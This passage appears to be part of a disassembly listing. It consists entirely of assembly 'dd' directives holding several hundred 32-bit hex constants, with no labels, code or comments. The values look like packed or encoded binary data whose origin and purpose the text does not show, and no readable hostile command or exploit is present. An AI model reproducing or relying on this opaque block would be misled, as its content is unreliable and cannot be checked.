		dd 58C6868h, 0A7605ADBh, 35302807h, 6207B490h, 0F8184682h
		dd 1D0A84C0h, 0D1B2501h, 611B800h, 6E12A907h, 4853BAB6h
		dd 6CC098DBh, 7F1DD55Eh, 0EEBF9E1Ch, 2C37E306h,	2A7CF0C9h
		dd 4F09DE4h, 9A930485h,	0DCFC8028h, 0BB14031Ch,	0BC7422D5h
		dd 0C7A8CD6h, 0F61E2D05h, 0CC88F87Ch, 4D5426A0h, 0B9C4C7D0h
		dd 0D8C4AC65h, 4EF5D260h, 0CED34009h, 8A200903h, 3480204Fh
		dd 0ABC49738h, 0DB480083h, 7CCBC5C1h, 0A6FA6F7Eh, 3E75A892h
		dd 80306B4Ch, 85C20BB6h, 61BE3438h, 57108021h, 0D8049982h
		dd 231E8B8Ch, 92B2D0F3h, 3E1FF930h, 0E9607A46h,	15ACFC9Ch
		dd 42CF8B3h, 0C878D70Dh, 6069D431h, 0C1C91B8h, 0C202B79Eh
		dd 80CFEB4Eh, 58F937E4h, 4D74AA3h, 0D8D53ED8h, 2F04B49Ch
		dd 0CFCA0270h, 0C38060A2h, 0BC192FABh, 7C131E12h, 0D46EDF1Ch
		dd 58911851h, 2F9780DEh, 5C42026Dh, 0BEB01CCBh,	32E62FAEh
		dd 9095E11Eh, 81DB28Bh,	0B3409433h, 5CA75FC2h, 7900E39Dh
		dd 5D86042Fh, 1F02FCA9h, 9717AA0Eh, 39464E2h, 14E18ECAh
		dd 60B0DC71h, 8B393EE5h, 0E40E2C9Ah, 81ED1C43h,	0CC641E3Ch
		dd 8F3F0587h, 0C0CE45D6h, 25536DD8h, 0D0343A59h, 8C37A86Ch
		dd 4A0445F6h, 4EF018E1h, 0D8034FC3h, 48454B5h, 0B6341239h
		dd 0BEC890F3h, 52F0888Ch, 26C0A548h, 0D1A69CE7h, 6686E212h
		dd 0BAD03FE0h, 9735E10Fh, 0A01DEE09h, 5980EB11h, 69B7018Eh
		dd 58F5E702h, 0E79CF247h, 602964FCh, 72FDCEh, 7A473F59h
		dd 6A9A5E2Eh, 0F09F3A2Ch, 748A700h, 902FDA8Bh, 780E05A0h
		dd 0A2171679h, 309BE254h, 0DC65FE66h, 202B1918h, 26039223h
		dd 0C93D9B47h, 9C2C49EFh, 6097BD25h, 9A802F11h,	0BAC93BFAh
		dd 17531C04h, 889C316Ch, 9C6D00E0h, 0C783BEDh, 0A007BDA9h
		dd 794CFA7Ch, 9958206Bh, 30C0810Fh, 98C96F05h, 0E048F913h
		dd 273F02DCh, 409B0920h, 0C737114h, 0D1FD2B01h,	884C7010h
		dd 0C4EAC94Ch, 0BB360AF4h, 2C0F3BEh, 0E53B0FD6h, 2E8CF080h
		dd 0F7007503h, 0FEA423F0h, 338FBB8h, 0D73C3757h, 0C012A730h
		dd 14A3F432h, 723029A2h, 3EEB707Fh, 48EF5CF3h, 0F6A1044Eh
		dd 203FC7B0h, 8B1B08A8h, 0D8A07FFAh, 0A4AB7DBBh, 796B2C34h
		dd 0D9DA0A8Fh, 7B2A9134h, 60797203h, 88853558h,	3D9C34C3h
		dd 0F1BA4DF7h, 3E770808h, 90BFFC09h, 28A8F8E8h,	784D923h
		dd 0C304F108h, 0BC5F52F0h, 29E478E5h, 20B16460h, 0C2F79E33h
		dd 0C15840E9h, 0E0C7E8Eh, 0F275049Fh, 8487360Bh, 98809992h
		dd 5D71489Ch, 17699C99h, 802511C8h, 2840F2E9h, 0BF7102A3h
		dd 39353884h, 32958861h
		dd 904701A0h, 8EAE45F0h, 33E100CFh, 0C1298865h,	8B00E937h
		dd 1641802Bh, 0E92F3B3h, 4A4B6769h, 0C57075E4h,	0ECA45233h
		dd 4E816028h, 18F5F631h, 21F8D553h, 61C09F8Fh, 2FE5B90Bh
		dd 5D100C0Dh, 73194296h, 1F692C00h, 0FFC67E37h,	77B7040Dh
		dd 0E2656C26h, 33ECF210h, 4788C097h, 39C93F02h,	4C106637h
		dd 2B24A508h, 0B81D5290h, 26803811h, 0C6D51F57h, 943B1E00h
		dd 0F3500478h, 0B08F48A8h, 9C6D17C9h, 52E08D60h, 60430083h
		dd 0F2A6FB08h, 0A0922858h, 6E824B00h, 0BE344C37h, 16713EAh
		dd 0C810CB3Ch, 0EE22C12Dh, 0C0E0F9C0h, 0F7739BE4h, 34943EF6h
		dd 494465Eh, 97CAD139h,	0B1EC74C0h, 1028B0B2h, 0EC9B26BBh
		dd 80008C34h, 0C360D31Ch, 986EDEB6h, 8071AACh, 0C0CD78F5h
		dd 0C00843E2h, 8256FFC0h, 0EA79E8D9h, 6D5BC218h, 87AC180Eh
		dd 3E04CE46h, 916A0606h, 0FBB4F000h, 8B02CF93h,	973D3E80h
		dd 0D016100h, 94A81370h, 0C1786D01h, 0F6C80BD6h, 29BCA068h
		dd 0A371138Ch, 4D400044h, 942A2E0Fh, 0D9DE41Eh,	0D02EB35Eh
		dd 0F2797421h, 0D500CE18h, 0CFB6398Eh, 90C34689h, 20EA4E14h
		dd 31AA2648h, 665D6E00h, 0DD897306h, 1BA302D9h,	8DF5B120h
		dd 0D059B442h, 38182A79h, 0B1CF9100h, 0BE0E7099h, 77D20130h
		dd 0A462E3FAh, 94C041B6h, 0F972C8D6h, 64266B05h, 0C4022D01h
		dd 0D97A67A7h, 183879D0h, 68720090h, 645B1B30h,	1A02C778h
		dd 7C46B6B0h, 1A0A140h,	3C3DC63Fh, 0DB0443B8h, 0B3A93B96h
		dd 7720534Fh, 997557B2h, 0AEDC60F1h, 4C58294Ch,	0EC1F1758h
		dd 1DE054DCh, 0C0170A77h, 0DE8F15CAh, 80B07BD3h, 3A0FE40Bh
		dd 1A3600CBh, 90A7869h,	7DFBC02Dh, 709C606Ch, 924656h
		dd 430BF969h, 439092Ch,	0F2E66B07h, 52ACCB2Bh, 3226E2F8h
		dd 275DB00h, 7C98BF5Fh,	279C4C25h, 0A033268Ch, 1E1004D6h
		dd 94803703h, 0E2F0B26Ch, 0E08331D8h, 5F0931BCh, 8C45F4D9h
		dd 13A741A3h, 0CA90EC4Ah, 410F1450h, 3D7E17CEh,	0C2A02890h
		dd 0F292025Dh, 1DE3EDB7h, 0AC39F0F8h, 89BC1606h, 0D420E08Dh
		dd 66028CAEh, 0C21CD379h, 105219D9h, 796E37h, 0CE1B215Ch
		dd 561C938Dh, 8C757307h, 3D6B5F03h, 80261168h, 4B2A9F88h
		dd 0BCEA51EBh, 80018604h, 9B12B326h, 472B507Dh,	20949D94h
		dd 0D813C880h, 56C225Ch, 0B159B3EDh, 2F5EC0B6h,	0F123DCh
		dd 94207493h, 333DB8DDh, 13B9A747h, 2AD7EACCh, 9EFA0998h
		dd 106C4400h, 0C07585F4h, 0B6DE7809h, 0A1148583h, 699CCC82h
		dd 74F497D8h, 40DA6081h, 0C01B5E7h, 86D4FB12h, 644BF8D9h
		dd 0FAC03388h, 30DE8035h, 7D191046h, 0D4ADE998h, 50603464h
		dd 0DA045AFBh, 0A106EEF6h, 0D740CC97h, 0B04BB777h, 0BF6F017Fh
		dd 4E832FDDh, 7F9EF09Ah, 0CB031D16h, 0F2A7AC80h, 0F4342F0Ch
		dd 29112C9Dh, 548BB680h, 5AD4E2A7h, 3EA5A194h, 480F7BECh
		dd 61508CDh, 6500D862h,	466E8185h, 8305B0D1h, 0E9E28694h
		dd 0F3F84Bh, 0D23D8DF7h, 60F009Dh, 62E19517h, 5E044A23h
		dd 77A08483h, 127410EDh, 977DC32Ah, 6DA8B20Ch, 5DCC854h
		dd 0C67C6BD6h, 4ECA2F5h, 81BFE301h, 61AB7092h, 0CC7C3194h
		dd 0B218A2A4h, 0D44D312Fh, 215E65F8h, 0A4B6D412h, 20EE78B6h
		dd 6081434Bh, 2A2896h, 9015385Ch, 0F1048749h, 8F245681h
		dd 0F8AB0082h, 0D642DF28h, 0B0243044h, 7B304B1Ch, 3178207Ah
		dd 98A00B2h, 0A6F7CE0Fh, 94907517h, 84A85604h, 10A218AEh
		dd 0B23095E2h, 0E7F71841h, 2BCFC9EFh, 24A9112Eh, 0C0005E1Ch
		dd 88C736F2h, 1BD605E1h, 0B6F5E278h, 18523B4h, 0A7775AA8h
		dd 0BC2D2FDFh, 0E15AE1C0h, 20DD3C8h, 20F83551h,	0F4F30F5Bh
		dd 5AC43F95h, 0EC23702Eh, 90EBBD02h, 80D47E3Eh,	0CB32D5F6h
		dd 47AA7CFh, 348849h, 0D1766183h, 1C4C3BFAh, 84C1A56Eh
		dd 95CEAEC2h, 0C0CC0494h, 0A79002Bh, 228B834h, 0A674BB7Bh
		dd 74793C2Fh, 0D6189579h, 7B932Eh, 3CB1803Ch, 1A0BB6F7h
		dd 6B86172Ah, 45140502h, 1E7C160Fh, 177EFA20h, 8E2C535Eh
		dd 0C066883Ch, 0BFCE7FE1h, 1CAC5602h, 4075C703h, 2D5401A0h
		dd 642FFE47h, 83ACE983h, 0AC2F83Eh, 0F85456A0h,	58EA4676h
		dd 7A4324CCh, 7E3F5032h, 17ED8138h, 0CB193E8Bh,	0E8CECFF8h
		dd 63CA5614h, 31BC30BCh, 9786D70h, 0B41C8141h, 30B158F0h
		dd 0AA18EAD1h, 1D40A4B2h, 946300C4h, 16DBC36h, 685BAB35h
		dd 2523242Eh, 0C5450500h, 0B074A652h, 6C0104BDh, 0ACA8154Dh
		dd 2C8E8910h, 4120D898h, 6E188838h, 8B51F99h, 49273240h
		dd 0BC3CBD44h, 8C28B8h,	4D24846Ch, 0E7010E48h, 0B3F79F0Bh
		dd 51040902h, 18D8D1F4h, 0BCC700F1h, 4EF53701h,	38B97A46h
		dd 7E82702h, 6C5F111Eh,	8DB4B8Ch, 1A0ED580h, 0EE07A418h
		dd 67529B09h, 0F30105A8h, 0C280D040h, 3028FCA6h, 0B07AA855h
		dd 56937A09h, 878409Dh,	46794067h, 49810960h, 0B5D1E242h
		dd 783EE420h, 390B12B7h, 217E2E31h, 8EA8F960h, 3D879824h
		dd 5E4E0A6Ch, 2191C4A8h, 0EA14F0EEh, 60DA700h, 8C447AACh
		dd 40A1971Eh, 3A68163Ch, 3823E42Eh, 2016E60Fh, 0BE11BBE8h
		dd 413C4A46h, 6815EB68h, 7E10FCB4h, 0B0471F2Bh,	0F83A9978h
		dd 616515E0h, 0BB003058h, 53B1F5E4h, 2AEA3A72h,	0E7091B90h
		dd 0D0D8937Bh, 20EA3E50h, 0AC7A28h, 37580B45h, 28E208A6h
		dd 7CCC2D50h, 967EF81Dh, 2B74CE80h, 0B5045Eh, 4C12DE6Fh
		dd 8E7208EDh, 3D307A81h, 1F4985Ch, 70105D8h, 0C0A2E465h
		dd 7D24BC27h, 0C1CF7CA5h, 0A1CDC79h, 1880E063h,	1BD77974h
		dd 9A9C0101h, 8C294C47h, 20AC7DEDh, 250BDEA8h, 609E8D22h
		dd 0EEFC8C44h, 0DFF137Fh, 0D760203Dh, 4800E709h, 0A9F56F26h
		dd 6DFFDDDh, 0F27D6C9Bh, 0F37F71F4h, 1884D8A1h,	6C5A39A7h
		dd 0D6448CF4h, 5ADF3DF9h, 20275481h, 247706CDh,	4F78EE5Ch
		dd 0A4964300h, 0F4E0B41Ah, 0C3F03D31h, 6C78AE84h, 3C2CE91Ch
		dd 4DDB815Dh, 4CFC016Fh, 5A0693CCh, 0CA7C8131h,	38723F82h
		dd 7E0400D7h, 824E0BF3h, 69C55CD7h, 0D44BB4D0h,	64DE071Ah
		dd 5EB0F150h, 7CE6A7FEh, 0A7FE2E40h, 0A7330420h, 0DEBB32DDh
		dd 7200D678h, 0F5C28FEDh, 49070334h, 7ED4A0h, 0E92A558Dh
		dd 0EA6829B2h, 7790790Fh, 584941A9h, 7BEE2B73h,	0B8485840h
		dd 52FC1275h, 95010B00h, 969CBCFDh, 3B7420E2h, 23A8790Ch
		dd 3007BEB6h, 3E19A72Dh, 0ACA1950Eh, 0B9F03815h, 0B061860h
		dd 51C82BC5h, 0AC4E6A00h, 447CBF01h, 0A3495B03h, 88BDB1D1h
		dd 0F0E27713h, 73850089h, 17C52D82h, 0C0E80A3Dh, 74664400h
		dd 518BE4ABh, 879A0E0Bh, 6E8C0C89h, 7C00C921h, 27D04ABh
		dd 8273B70h, 631C865h, 1EA4D00h, 532ABA2h, 647D13E6h, 56ED87F8h
		dd 0C5009148h, 4E581A49h, 1C090EE9h, 1276F966h,	0AD750395h
		dd 2903C0C9h, 9D3B4552h, 0E01100ECh, 717251CEh,	0C9186AD1h
		dd 0D7085969h, 2520C045h, 98B851D6h, 6BB31507h,	4A004073h
		dd 6710ACCh, 955469CBh,	3706D27Eh, 0D7341A75h, 44F50208h
		dd 2ECBF804h, 6F16B000h, 7E10C718h, 0FC93D0EBh,	14031C8Ah
		dd 0E07673BAh, 2CB032B2h, 0CB3044A9h, 716F1151h, 8AD888C9h
		dd 0AFF32Ah, 0F24D5C99h, 0CC316E71h, 0B91F50AFh, 59848050h
		dd 0A1603E35h, 0AD390200h, 0A783C31Bh, 0D174C400h, 45F0FEECh
		dd 0BABF021Fh, 98C87806h, 3A24C4A0h, 1A0F2208h,	4CECA933h
		dd 602008CAh
		dd 42032007h, 4600A308h, 5AC23301h, 20695B49h, 4400853Ah
		dd 26B9E4F4h, 1DAAF009h, 9F567640h, 80511F22h, 7E2CEF0Ch
		dd 1C00E9B1h, 0AA881E1Bh, 0F60922A8h, 7CDB0F8Ch, 0FA1E6B3h
		dd 0C9A77F48h, 70FFE84Ah, 3D30CB0Ch, 0F66697Ah,	0F8255561h
		dd 5BD96900h, 0A5007FC2h, 0D21157A3h, 967D53Dh,	0B19550C7h
		dd 0CC94C00h, 7A5206BCh, 8300278h, 31A31A4Ch, 3B591021h
		dd 0DF530008h, 0A40B965h, 87080242h, 0B8ABBAh, 0FED4D106h
		dd 5002AF2h, 6F964CADh,	2316B19h, 0C4187AB9h, 0F88398CBh
		dd 790035C8h, 0B18AD626h, 81531Bh, 0BD017CB3h, 0E228D74h
		dd 5134E101h, 6BB1FCDh,	1EF2D440h, 0A571C0C8h, 7E3CD822h
		dd 0AF91B06h, 60082B46h, 1A8721BBh, 0A13AC6D8h,	3AF880D0h
		dd 96090FD5h, 0AA6286Dh, 57FD09B0h, 0A400BEFAh,	743F56D4h
		dd 93C618C0h, 0FF759DCh, 967532FFh, 0A81DCB89h,	2E80E111h
		dd 8A15639h, 501A261Eh,	8070F418h, 790B2084h, 46BA2F00h
		dd 0C27283C5h, 8B341830h, 5D5EC9CBh, 29E57B30h,	50C3688h
		dd 3F040910h, 1BA44043h, 197F6B17h, 0B69E5A0Ch,	0C0C8189Ch
		dd 93E1C089h, 0DE3210A2h, 3037C973h, 6E1151CAh,	0D588F171h
		dd 51F22980h, 5134C810h, 0C0884C88h, 0C505676Bh, 0B046A24Fh
		dd 0C20E5F5h, 14806504h, 0F63050A1h, 378CF9ECh,	22BA81FEh
		dd 3020F244h, 39000D64h, 96310AABh, 203AC8F5h, 5700C582h
		dd 4716C671h, 1AFB910h,	0C29D514Ah, 0A8E9C5B1h,	0D6462498h
		dd 30D80876h, 0AFC43B7Eh, 0D8168B41h, 0D4A1CDD2h, 4E07E143h
		dd 0F2CD89C7h, 0DD01DC90h, 0F00D06A7h, 89C319EDh, 661674A1h
		dd 0AB73020Ch, 31598BCFh, 7BC8107Ch, 72450EABh,	0B5805AB4h
		dd 0A86EF9E5h, 106C624Dh, 0D000BEFDh, 9E61CB2Dh, 6500E40Eh
		dd 4907AC48h, 7544E6A6h, 46032C81h, 60364400h, 246D51CDh
		dd 73585971h, 1951F680h, 6376BF00h, 0F01AD727h,	0ECD95026h
		dd 1C7E746Bh, 946D5E9Dh, 3D18E071h, 1A8DC104h, 1421102Ch
		dd 6926A700h, 53A8080Bh, 1B238807h, 0E0AB7000h,	860C718Bh
		dd 0EAD57844h, 0A26104ABh, 90CFD194h, 0F886E410h, 0A434AE3Dh
		dd 0A04144C7h, 0C8C21EE2h, 1A5FC90h, 0B8F88BB9h, 0E4879FC7h
		dd 1C787E1Dh, 4A45E404h, 8486E805h, 0D9409941h,	3B4B18DDh
		dd 8A80AE62h, 0E16092A1h, 7F503429h, 5C137E2Ch,	0E444665Ah
		dd 7C9C8225h, 3C048C76h, 431A2008h, 500C0CEh, 0BB750844h
		dd 77004DCEh, 0F68AF4C9h, 3880391Dh, 58EF6EACh,	0BFA893E0h
		dd 0D402062Fh, 0C8B9B147h, 2346475h, 0EFC94A36h, 0B4A1DA18h
		dd 0D0C11481h, 0E15082F8h, 0EF1975F4h, 4521FEB0h, 0E84CF462h
		dd 0CA8204Dh, 0EB7B008Ch, 3A546462h, 0C91C940h,	93187DF1h
		dd 18990500h, 34C704BDh, 6B070095h, 8A83F69h, 131CD5C5h
		dd 4864241Ah, 0ADC24600h, 26391754h, 406C9EA4h,	0D96DBF41h
		dd 2B264200h, 11E6377Ch, 0A1DE38E3h, 1B666980h,	76EE0852h
		dd 231CAF4Ch, 0D8843CD7h, 62437E25h, 17CC20BCh,	3F0936D8h
		dd 135CD26Bh, 0F348230Ch, 31D82303h, 0B262A47Eh, 0D81B8820h
		dd 92FA5Dh, 78A63595h, 0D1CBC890h, 4BC09A54h, 0D050BFE6h
		dd 9E13949Eh, 0B4082632h, 91B9CB3h, 1840EF8Ah, 39DF9FC8h
		dd 0E2D8E90Fh, 60825C19h, 2C3A19Bh, 135245C2h, 0FAE07CEAh
		dd 5152B01Dh, 31BAE25Ch, 3DA8D4CBh, 10540B48h, 0C605E13Ah
		dd 8B50E715h, 0C0E2C8A8h, 0AEE7412Ah, 0B93B2200h, 4E14D889h
		dd 19C5242Dh, 0AB6EC024h, 0C1438BCAh, 0AB76C780h, 0F2001DAEh
		dd 717A21A2h, 7524B190h, 906BF075h, 67DB209Ch, 70582F2Ch
		dd 0AEAC7E40h, 6F18C00Bh, 5A920D39h, 773A1126h,	8EE43828h
		dd 0DCB73C26h, 57F38701h, 6080A63Dh, 6E142842h,	550AA832h
		dd 80394551h, 74A1E4C7h, 130EC171h, 0D003CC27h,	0E8A7CF80h
		dd 1B8CA134h, 7815F83Ah, 1289D2F8h, 1008A030h, 137DE304h
		dd 50405648h, 0E1AC3874h, 0EE7D018Ch, 542E5F78h, 0AD1CDCE5h
		dd 7A4FB016h, 7166E841h, 0C0287876h, 971B8104h,	0C870CBBBh
		dd 2068C70Dh, 9A9C3D33h, 0D8999892h, 5518BCF1h,	1B0DCB02h
		dd 0C551088Ah, 60D7E484h, 5C68B2EDh, 0C413ACD2h, 2C300130h
		dd 20AAD135h, 72640468h, 6897C031h, 0D26C4839h,	2E2B003Dh
		dd 4E50D51Bh, 7102AA4Bh, 2D93F138h, 8D40D5A5h, 60E23154h
		dd 941C9859h, 683E1094h, 7490CC26h, 6F017246h, 0EF670D9Eh
		dd 0FDA70ECh, 501A8A00h, 7ECB7043h, 0AAF93BE6h,	4AF1082h
		dd 0D4EA2767h, 944C8C7h, 241BF60h, 0FC741A18h, 539D8160h
		dd 0DA22806h, 0EE0C30h,	0F0C1B8C2h, 3CBF0691h, 2200F0B9h
		dd 0C45CECAAh, 9708007Eh, 0B0A92565h, 31C7316h,	0DE89764Bh
		dd 6480C742h, 1F0560D6h, 1A8C390Ah, 89200B2Ch, 0BBB1h
		dd 0D07E5C57h, 200BC99h, 0DE88ED48h, 0B2660F6Fh, 0EBA01940h
		dd 0BF188A9Fh, 0F5116091h, 3BD82180h, 0F899337Eh, 0D81986C0h
		dd 39E6EC51h, 0AB012D8Dh, 0BF77EB7Ah, 0B444C296h, 0D9E97E30h
		dd 0C8322A73h, 18C0F468h, 4C7E2ED8h, 85E0D02Bh,	0E602D830h
		dd 80271020h, 0FC586997h, 0A874D0FFh, 2CD92713h, 7D117097h
		dd 0B8D7AC80h, 2801A990h, 53424841h, 1830EB16h,	10FC4992h
		dd 6726EF0Ch, 13062839h, 85ABE23Dh, 0D99D2AA1h,	191100CCh
		dd 69837442h, 0DB00228Fh, 0AABAAF4Fh, 996E50Bh,	589CFC4h
		dd 0D811A89Dh, 8031B385h, 1BEE2AA5h, 0A191146Eh, 0AEB0AA80h
		dd 76B8182Dh, 0D5B27901h, 0FAF7687Bh, 983472C9h, 0CA74274Ch
		dd 0FC894001h, 765C6088h, 0CC7FD08Bh, 2AA401DAh, 47DCE803h
		dd 0E4DBE0F9h, 4FF8FE00h, 91007DEh, 0B185E273h,	63DCD37Ch
		dd 3D9F0E7h, 128B09EEh,	0F0E02288h, 0B948206Eh,	0CB61204h
		dd 4A816002h, 0F0285812h, 5310A226h, 185A7070h,	980F3700h
		dd 6FEDE3A7h, 76D41F12h, 8C24E53Fh, 82F6075h, 0CB1A2517h
		dd 40E2C16h, 0A1E60837h, 0E4EB2061h, 29E5060h, 36EE93C7h
		dd 0A86033F4h, 2F80731Eh, 50628F8h, 5E289CA0h, 7200B946h
		dd 0F7507E04h, 0D706370Dh, 0A7C8B7DAh, 21D100B1h, 4ADE2588h
		dd 0D34B8480h, 0FFCE0000h, 0E374A032h, 0A14DC70h, 0BBC0D40Fh
		dd 16465678h, 6B123171h, 1E3CF60h, 684B541Bh, 19C0B088h
		dd 1F521C62h, 96BBBAE2h, 8F20C5A9h, 0C0D58818h,	0FF3D2960h
		dd 64BCFCA8h, 0A45ED200h, 7E1CD966h, 51EB6082h,	75706F46h
		dd 124E1F58h, 9017EACAh, 0B123B42Fh, 0FA2C6E1Ch, 26892400h
		dd 14602058h, 90E2937Dh, 0F287B105h, 0DBE0C5DFh, 7C7D8064h
		dd 1EF75573h, 0CD1A7075h, 68B0E8CEh, 8C17EC20h,	7C96CE25h
		dd 7B4C002Ah, 2C30C31Dh, 0D764BCA7h, 10834167h,	10468DFh
		dd 0EB748272h, 1020A6C4h, 0D2E2458h, 2088287Ch,	0C3757D46h
		dd 6E73CA04h, 0EC80AA54h, 1F3075F6h, 411428F3h,	2296767Ch
		dd 846DF2CDh, 878897E0h, 36A30035h, 0D7593474h,	209B4553h
		dd 78020978h, 8758BF1Ch, 801E710Bh, 4624C662h, 51CF0238h
		dd 31A97173h, 0D72610DCh, 6FEB1B51h, 4809EE96h,	0A0BC3A11h
		dd 0F01EC188h, 235B121Bh, 80449B09h, 27B29E5Dh,	50F8290Eh
		dd 18E15950h, 4F1202DDh, 44C778C2h, 482100D9h, 4E18BB71h
		dd 7501C5Ch, 81D2CF51h,	3C13B01Ah, 4633D4D0h, 1C5949BCh
		dd 0A8A76C53h, 0F4842DC0h, 0A2B026Ah, 9BC1294h,	9CB0A882h
		dd 3C20FCC4h, 4A7F00C6h, 0CB70FBE0h, 0B05496F9h, 321A8DE8h
		dd 0E38233Ch, 4F9C31ECh
		dd 0E1C87051h, 8057E3C4h, 240C14E4h, 133F773Ch,	9804BF4Fh
		dd 0C50B78AFh, 0C8590862h, 0E718BBD9h, 9585E53Ah, 70C84AF8h
		dd 8B34A204h, 8001BF52h, 0E45018C0h, 96F22B0h, 0B43E0AF8h
		dd 4674ACACh, 0F0830378h, 905769ADh, 0F5F9813Ah, 0E2030C6Dh
		dd 34946F84h, 46A2CC8h,	874C6658h, 0A2795B9Bh, 0A1539E00h
		dd 5C4EF94h, 9581619Eh,	0B80AB0E8h, 125C87DCh, 6E4CC8C6h
		dd 0BF3D01E7h, 340239A7h, 1A0366F7h, 5767B22h, 0A807F5C9h
		dd 0E288B306h, 0FB82306Eh, 8311613Ch, 0F38C7E26h, 1D6809DDh
		dd 80521E58h, 7C767308h, 300312A8h, 2ED27F1Ch, 0C2364B1Eh
		dd 4CCCD415h, 8CADE830h, 0FC5EB400h, 746BE8FAh,	4A762560h
		dd 9ED15023h, 59AFE900h, 3DA1B338h, 0FBA21EE8h,	338E82F8h
		dd 0C580818h, 0D84C2143h, 8CAFB8h, 9A49E09Bh, 35017C08h
		dd 0F0D0590Fh, 13C509C3h, 943A2A8h, 38A71846h, 82607A44h
		dd 8C301A02h, 0C73050A7h, 72D30389h, 75A86A99h,	0C8A105D2h
		dd 60D692F8h, 452D9EB0h, 91AC9D99h, 561580E3h, 1EF8EB4Ah
		dd 1299E77Dh, 0C80C8BBFh, 8427C309h, 0A2B4F3FCh, 0CB4430DCh
		dd 0C02FD24Eh, 0AD007323h, 0BB3554AFh, 0DE0F1CDDh, 3F1300E5h
		dd 0EF851988h, 46AF7600h, 0F2DDD6C5h, 96B2414h,	7D467E94h
		dd 0DF99E400h, 93E9D990h, 8A34DB09h, 6B1C20CAh,	0FEE6469h
		dd 0ED87257h, 1F99C721h, 0A2442404h, 223C23E0h,	928E807Ch
		dd 906F1142h, 0E0300C2h, 0BBCBDC29h, 0C0AC7706h, 21083D05h
		dd 48E3B1Ah, 8145021Dh,	5AF01219h, 60D420F3h, 7C489864h
		dd 1E082E60h, 96931A2Fh, 396700F8h, 2F91BB08h, 9C4812D5h
		dd 2D531275h, 25644C02h, 8C340271h, 0A4147880h,	705A121Ch
		dd 7341E41Ch, 743A8C2Bh, 4BBF0C34h, 23643F76h, 8F7E1C79h
		dd 0D81225DEh, 58CC928h, 7E2FD81Dh, 10CE53h, 96D8158Ah
		dd 3A457B75h, 0F1001329h, 0CF1AC556h, 5CB455A8h, 3DC465Eh
		dd 90967052h, 0AAE01EA6h, 8497A756h, 9BC0D811h,	46736CE9h
		dd 2AC8840Bh, 3B286003h, 301D9543h, 0DE80E291h,	0C982A7Fh
		dd 42165E7Bh, 54207004h, 409A8B45h, 94927311h, 0AED1D099h
		dd 96615218h, 0D16785E4h, 1800CC69h, 7AF62F57h,	21E2987h
		dd 21C1F4F3h, 0FD0F230Eh, 3023C427h, 0CDAB6D00h, 860C898Bh
		dd 0C66F44h, 709FAB75h,	88F2F2Ah, 0C7AA8000h, 29AAC93h
		dd 96460929h, 0C028BF40h, 7A465C30h, 0B4C89272h, 0C465EB0h
		dd 3F3AEF00h, 0E24138B0h, 966FED04h, 1482C76Ch,	7954D12Eh
		dd 0BB318ADh, 412C6A22h, 0DD7E6461h, 0E27063E9h, 0C4AD31BAh
		dd 0C4A419EFh, 0BC128D05h, 2CB3710Ah, 21803D19h, 4649D43Bh
		dd 210ADB00h, 0BD431333h, 7EC209CFh, 7C50CB64h,	0C553C301h
		dd 0E8724C69h, 0BDD9CE4h, 8126EDEEh, 0B05170A9h, 6A433A00h
		dd 2CDB68B8h, 9F80E27h,	0CC082D4Ah, 0AB6FC0D8h,	79468BCBh
		dd 77D48877h, 1DBAB05h,	0AC042B5Eh, 6A00BF02h, 0C0CDAC69h
		dd 0D3008C77h, 49765F7Ch, 941FEDE7h, 73308EC4h,	0FE58013Fh
		dd 6C18A7DCh, 648BB52Ch, 26C0B288h, 1D71E2Dh, 33B01270h
		dd 73BDFC8Ch, 0E91F2514h, 82E42AE8h, 71369033h,	631E00E4h
		dd 18E2E603h, 1A09801Fh, 3739E84Ah, 0B81080D0h,	0CF3A927Bh
		dd 686E7200h, 87A7DD04h, 0FCF100FBh, 0D91221BCh, 63166D50h
		dd 1CD83815h, 800984D7h, 716D3AB9h, 186EF134h, 0B6FC0011h
		dd 9626354Fh, 18B4937Dh, 589E505h, 0ED019C80h, 5C449650h
		dd 9F17DC46h, 0F4C20D2h, 5500139Eh, 1CFCB5D4h, 0F39D3D0h
		dd 0AF52AA93h, 0CFF73A60h, 8727DCBBh, 9A3080DAh, 0B6DD8FCDh
		dd 0AD465EF0h, 21123238h, 0D3D8F00Dh, 0B8C66B40h, 0A62D0213h
		dd 2724478Dh, 0D0BA0061h, 0D600077Dh, 44EE40BDh, 3103D953h
		dd 0CA084B3Dh, 0FD208026h, 0A4104055h, 0B610C70Fh, 2E6A7062h
		dd 0B8000930h, 3392E23Dh, 3AD08D8h, 0F427B640h,	4164E682h
		dd 0BE602D70h, 4423EF40h, 0F6443B4Bh, 3C405600h, 79469FE3h
		dd 60A9017Ch, 83940A4Fh, 0EA32F808h, 10C0290Eh,	0D9B6454Ch
		dd 3B964004h, 3E2E7D00h, 0E40EDB4Eh, 60A3BE53h,	8477BEFh
		dd 0C0E57C50h, 0F67DAD40h, 0D9C00B9Dh, 15442687h, 2331068Eh
		dd 8B9A6BAh, 66218360h,	17EF442Eh, 312F89h, 68BCCE9Dh
		dd 0DF008BA5h, 86CC650Ch, 5A677Fh, 0BD973928h, 9557B69Dh
		dd 990469h, 0BE25CC32h,	796A19FAh, 80300986h, 0CC05C721h
		dd 96B31Ah, 0D5270E2h, 3B01E30Bh, 2A604EF0h, 3A387DE8h
		dd 1099C0DEh, 12A41744h, 39F411C0h, 30DFB4h, 3B024A49h
		dd 8C2ADA1Eh, 0CE764200h, 0C7077B80h, 3065618Bh, 813F9627h
		dd 5C757C81h, 0F12ECEF8h, 0F5980117h, 8CF008E2h, 8E7A2462h
		dd 7B98B101h, 442C4810h, 3D143719h, 1F10C6B0h, 0AE00BC1Ch
		dd 24F7291h, 1EE17B81h,	92E4877h, 1C1127C1h, 8C7182Ch
		dd 0A344E840h, 0FF40D5C4h, 30C840BFh, 0B199DB00h, 9F8A8E2h
		dd 184503B6h, 792F0C07h, 0EDDDF100h, 0F3F6BC7Ah, 0FE0A19D9h
		dd 0A6E908C3h, 7A048E21h, 90C6ECDFh, 0DA430381h, 8D7D5BEh
		dd 248D4A80h, 0C003CCA2h, 0B9187FF9h, 0A131C61Eh, 0F4A60E22h
		dd 64C76CFBh, 4BCEF0B8h, 4C05C459h, 0E5D57984h,	898AC14h
		dd 3D095F83h, 0D692E10Ch, 0BA107268h, 88402735h, 0C3268C30h
		dd 563A4F40h, 0CE2288h,	6B40BBFBh, 0F6F704A7h, 0F9257E00h
		dd 0D04A6C8Bh, 0DD3D7952h, 38260058h, 0F67A5578h, 106095F8h
		dd 79657F18h, 0B72212D3h, 0B86408B3h, 1CCC17C0h, 6B3221BEh
		dd 38703191h, 6E00CC0Fh, 68B4A597h, 0D000769h, 0ED0AFD86h
